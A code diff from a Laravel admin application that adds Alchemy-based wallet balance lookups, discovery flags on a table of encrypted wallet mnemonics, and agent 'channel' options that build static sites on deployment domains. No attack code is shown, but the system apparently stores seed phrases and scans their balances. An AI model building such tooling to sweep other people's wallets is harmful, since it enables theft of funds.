+                $this->persistCoins($address, $attrs);
+
+                Log::info('sol balance refresh ok', [
+                    'wallet_address_id' => $address->id,
+                    'address' => $addr,
+                    'source' => 'alchemy',
+                ]);
+
+                return true;
+            }
+            // Alchemy failed → fall through to SolDriver RPC.
+        }
+
         try {
             $driver = $this->chains->resolve('sol');
             $attrs = [
@@ -273,6 +422,7 @@ class WalletBalanceService
                 'address' => $addr,
                 'sol' => $address->sol,
                 'usdt' => $address->usdt,
+                'source' => 'rpc',
             ]);
 
             return true;
@@ -444,4 +594,5 @@ class WalletBalanceService
 
         return $human === '' ? '0' : $human;
     }
+
 }

config/coruna.php

@@ -107,6 +107,25 @@ return [
         'api_key' => env('TOKENVIEW_API_KEY', ''),
         'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
         'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
+        // Separate Blockchain Data API key (balance + activation + all-token for ETH/BSC/BTC/SOL).
+        // Falls back to api_key when empty. Empty/unauthorized → per-chain RPC fallback.
+        'data_api_key' => env('TOKENVIEW_DATA_API_KEY', ''),
+        'data_timeout' => (int) env('TOKENVIEW_DATA_TIMEOUT', 30),
+    ],
+    // Alchemy Blockchain Data + Prices API. Used for balance / all-token inventory
+    // and USD token value estimation. ETH/BSC/SOL JSON-RPC + Prices REST.
+    // Chains not enabled on the Alchemy app fall back to their per-chain RPC driver.
+    'alchemy' => [
+        'api_key' => env('ALCHEMY_API_KEY', ''),
+        // JSON-RPC endpoints per network. Empty network = not configured.
+        'eth_rpc_url' => env('ALCHEMY_ETH_RPC_URL', 'https://eth-mainnet.g.alchemy.com/v2'),
+        'bsc_rpc_url' => env('ALCHEMY_BSC_RPC_URL', 'https://bnb-mainnet.g.alchemy.com/v2'),
+        'sol_rpc_url' => env('ALCHEMY_SOL_RPC_URL', 'https://solana-mainnet.g.alchemy.com/v2'),
+        // Prices REST API (independent of RPC network enablement).
+        'prices_url' => env('ALCHEMY_PRICES_URL', 'https://api.g.alchemy.com/prices/v1'),
+        'timeout' => (int) env('ALCHEMY_TIMEOUT', 30),
+        // Max non-zero tokens to enrich with metadata + price per all-token query.
+        'max_token_enrich' => (int) env('ALCHEMY_MAX_TOKEN_ENRICH', 100),
     ],
     'tron' => [
         'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),

database/migrations/2026_09_29_000010_add_discovery_complete_to_wallet_mnemonics.php

@@ -0,0 +1,23 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    public function up(): void
+    {
+        Schema::table('wallet_mnemonics', function (Blueprint $table) {
+            $table->boolean('discovery_complete')->default(false)->after('mnemonic_enc');
+            $table->timestamp('discovered_at')->nullable()->after('discovery_complete');
+        });
+    }
+
+    public function down(): void
+    {
+        Schema::table('wallet_mnemonics', function (Blueprint $table) {
+            $table->dropColumn(['discovery_complete', 'discovered_at']);
+        });
+    }
+};

phpunit.xml

@@ -35,6 +35,8 @@
         <!-- Keep outbound integrations off unless a test opts in via config()/Http::fake. -->
         <env name="TOKENVIEW_API_KEY" value=""/>
         <env name="TOKENVIEW_SIGN_KEY" value=""/>
+        <env name="TOKENVIEW_DATA_API_KEY" value=""/>
+        <env name="ALCHEMY_API_KEY" value=""/>
         <env name="TELEGRAM_BOT_TOKEN" value=""/>
         <env name="TELEGRAM_OWNER_CHAT_ID" value=""/>
         <env name="TRON_API_KEY" value=""/>

resources/views/admin/channels/index.blade.php

@@ -202,20 +202,26 @@ layui.use(['table', 'form', 'layer'], function () {
     var versionBlock = (isAdmin && creating)
       ? '<div class="layui-form-item"><label class="layui-form-label">版本</label><div class="layui-input-block">' +
         '<select name="builder_type" id="LAY-ch-builder-type" lay-filter="LAY-ch-builder-type">' +
-        '<option value="new"' + (!isApp ? ' selected' : '') + '>新版（生成静态资源）</option>' +
+        '<option value="new"' + (!isApp && values.builder_type !== 'old' ? ' selected' : '') + '>新版（生成静态资源）</option>' +
+        '<option value="old"' + (values.builder_type === 'old' ? ' selected' : '') + '>旧版（生成静态资源 / web 目录）</option>' +
         '<option value="app"' + (isApp ? ' selected' : '') + '>App（仅记录，UUID 渠道 ID）</option>' +
         '</select></div></div>'
       : '';
 
-    // Channel ID block: App uses auto-generated UUID (read-only); new uses X.Y.ZZ input
+    // Channel ID block: App=auto UUID (readonly); old=auto 32-hex (readonly); new=X.Y.ZZ input
+    var isOld = values.builder_type === 'old';
     var channelBlock = creating
       ? (isApp
         ? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
           '<input name="channel_id" class="layui-input" readonly id="LAY-ch-id-input" value="' + (values.channel_id || '') + '" placeholder="自动生成 UUID">' +
           '<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
+        : (isOld
+          ? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
+            '<input name="channel_id" class="layui-input" readonly id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="自动生成 32 位 hex">' +
+            '<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
           : '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
             '<input name="channel_id" class="layui-input" maxlength="6" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="例如 A.B.C1 或 3.1.07">' +
-          '<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>')
+            '<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'))
       : '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
 
     // App-specific fields: app_name + bundle_id
@@ -246,7 +252,7 @@ layui.use(['table', 'form', 'layer'], function () {
         '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
         '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
         '</div></div>' +
-        (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版将调用 builder 生成静态资源；App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
+        (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源（新版→channel/ 目录，旧版→web/ 目录）；App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
         '</form>',
       success: function () {
         form.render();
@@ -256,11 +262,13 @@ layui.use(['table', 'form', 'layer'], function () {
             if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
           });
         });
-        // Auto-generate UUID when switching to App
+        // Auto-generate UUID when switching to App; 32-hex when switching to Old
         form.on('select(LAY-ch-builder-type)', function (data) {
-          var isAppNow = data.value === 'app';
+          var v = data.value;
+          var isAppNow = v === 'app';
+          var isOldNow = v === 'old';
           $('.LAY-ch-app-only').toggle(isAppNow);
-          $('.LAY-ch-new-only').toggle(!isAppNow);
+          $('.LAY-ch-new-only').toggle(!isAppNow); // template shown for new + old
           var idInput = $('#LAY-ch-id-input');
           if (isAppNow) {
             idInput.attr('readonly', true).attr('maxlength', '').attr('placeholder', '自动生成 UUID');
@@ -269,6 +277,13 @@ layui.use(['table', 'form', 'layer'], function () {
                 if (res.code === 0) idInput.val(res.data.channel_id);
               });
             }
+          } else if (isOldNow) {
+            idInput.attr('readonly', true).attr('maxlength', '').attr('placeholder', '自动生成 32 位 hex');
+            if (!idInput.val()) {
+              $.getJSON(@json(route('admin.channels.randomId')) + '?builder_type=old', function (res) {
+                if (res.code === 0) idInput.val(res.data.channel_id);
+              });
+            }
           } else {
             idInput.removeAttr('readonly').attr('maxlength', '6').attr('placeholder', '例如 A.B.C1 或 3.1.07').val('');
           }

resources/views/admin/mnemonics/index.blade.php

@@ -178,6 +178,7 @@ layui.use(['table', 'form', 'layer'], function () {
     html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
       '<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
       '<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th><th>SOL</th>' +
+      '<th>操作</th>' +
       '</tr></thead><tbody>';
     rows.forEach(function (r) {
       var inactive = r.active === false;
@@ -193,6 +194,7 @@ layui.use(['table', 'form', 'layer'], function () {
         '<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
         '<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
         '<td class="coin-cell">' + coinVal(r.sol) + '</td>' +
+        '<td>—</td>' +
         '</tr>';
     });
     html += '</tbody></table></div></div>';

tests/Feature/ChannelProjectServiceTest.php

@@ -367,8 +367,11 @@ class ChannelProjectServiceTest extends TestCase
     }
 
     #[Test]
-    public function store_rejects_old_builder_channel_id(): void
+    public function store_accepts_old_builder_channel_id(): void
     {
+        Process::fake([
+            '*' => Process::result(output: $this->fakeBuildResult()),
+        ]);
         $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
 
         $this->actingAs($admin, 'admin')
@@ -377,9 +380,40 @@ class ChannelProjectServiceTest extends TestCase
                 'builder_type' => Channel::BUILDER_OLD,
                 'user_id' => 0,
             ])
+            ->assertOk()
+            ->assertJsonPath('code', 0)
+            ->assertJsonPath('data.builder_type', Channel::BUILDER_OLD)
+            ->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111')
+            ->assertJsonPath('data.domains.deployment.0', 'www.dep.example')
+            ->assertJsonPath('data.support_path', '/web/'.self::CHANNEL_ID.'/support.html');
+
+        $this->assertDatabaseHas('channels', [
+            'channel_id' => self::CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_OLD,
+        ]);
+
+        Process::assertRan(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'new_project.py')
+                && str_contains($joined, self::CHANNEL_ID);
+        });
+    }
+
+    #[Test]
+    public function store_rejects_new_format_id_for_old_builder(): void
+    {
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+
+        $this->actingAs($admin, 'admin')
+            ->post(route('admin.channels.store'), [
+                'channel_id' => self::NEW_CHANNEL_ID,
+                'builder_type' => Channel::BUILDER_OLD,
+                'user_id' => 0,
+            ])
             ->assertSessionHasErrors('channel_id');
 
-        $this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
+        $this->assertDatabaseMissing('channels', ['channel_id' => self::NEW_CHANNEL_ID]);
     }
 
     #[Test]